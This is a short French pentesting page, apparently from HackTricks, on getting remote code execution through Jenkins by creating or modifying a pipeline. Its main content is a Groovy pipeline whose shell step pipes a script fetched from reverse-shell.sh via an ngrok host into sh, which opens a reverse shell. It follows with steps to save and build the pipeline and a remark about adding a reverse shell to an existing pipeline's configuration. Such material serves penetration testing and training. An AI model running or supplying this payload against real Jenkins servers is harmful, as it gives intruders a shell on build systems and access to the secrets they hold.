# Jenkins RCE Création/Modification de Pipeline

{{#include ../../banners/hacktricks-training.md}}

## Création d'un nouveau Pipeline

Dans "Nouvel élément" (accessible à `/view/all/newJob`), sélectionnez **Pipeline :**

![](<../../images/image (235).png>)

Dans la **section Pipeline**, écrivez le **reverse shell** :

![](<../../images/image (285).png>)
```groovy
pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Enfin, cliquez sur **Save**, puis sur **Build Now** et le pipeline sera exécuté :

![](<../../images/image (228).png>)

## Modifier un Pipeline

Si vous pouvez accéder au fichier de configuration d'un pipeline configuré, vous pouvez simplement **le modifier en ajoutant votre reverse shell** puis l'exécuter ou attendre qu'il soit exécuté.

{{#include ../../banners/hacktricks-training.md}}
